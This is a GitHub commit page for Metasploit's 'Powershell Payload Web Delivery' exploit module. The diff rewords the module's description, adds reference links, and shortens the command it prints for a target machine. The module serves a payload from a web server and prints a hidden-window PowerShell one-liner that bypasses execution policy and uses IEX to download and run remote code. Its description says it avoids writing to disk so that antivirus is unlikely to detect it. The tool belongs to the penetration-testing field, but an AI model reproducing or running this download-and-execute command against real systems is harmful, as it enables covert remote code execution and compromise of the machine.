Skip to content

Commit

Permalink
Shorten cmd
Browse files Browse the repository at this point in the history
  • Loading branch information
Meatballs1 committed Jul 24, 2013
1 parent 8103baf commit f79d3f7
Showing 1 changed file with 6 additions and 4 deletions.
10 changes: 6 additions & 4 deletions modules/exploits/windows/misc/psh_web_delivery.rb
Original file line number Diff line number Diff line change
Expand Up @@ -14,12 +14,12 @@ class Metasploit3 < Msf::Exploit::Remote

def initialize(info = {})
super(update_info(info,
'Name' => 'Powershell Web Delivery',
'Name' => 'Powershell Payload Web Delivery',
'Description' => %q{
Quickly fires up a web server that serves the payload in powershell.
The command will start powershell and then download and execute the payload.
You can extract the IEX command to execute directly from powershell.
The main goal of this module is that a session can be quickly established
The main purpose of this module is to quickly establish a session
on a target machine when you have to manually type in the command yourself,
e.g. RDP Session, Local Access or maybe Remote Command Exec.
This does not write to disk so is unlikely to trigger AV solutions and will
Expand All @@ -36,7 +36,9 @@ def initialize(info = {})
],
'References' =>
[
[ 'URL', 'http://www.pentestgeek.com/2013/07/19/invoke-shellcode/' ]
[ 'URL', 'http://www.pentestgeek.com/2013/07/19/invoke-shellcode/' ],
[ 'URL', 'http://www.powershellmagazine.com/2013/04/19/pstip-powershell-command-line-switches-shortcuts/'],
[ 'URL', 'http://www.darkoperator.com/blog/2013/3/21/powershell-basics-execution-policy-and-code-signing-part-2.html']
],
'Platform' => 'win',
'Targets' =>
Expand All @@ -58,7 +60,7 @@ def primer
url = get_uri()
download_and_run = "IEX ((new-object net.webclient).downloadstring('#{url}'))"
print_status("Run the following command on the target machine:")
print_line("powershell.exe -windowstyle hidden -noexit -NoProfile -ExecutionPolicy unrestricted -command \"#{download_and_run}\"")
print_line("powershell.exe -w hidden -nop -ep bypass -c \"#{download_and_run}\"")
end
end

0 comments on commit f79d3f7

Please sign in to comment.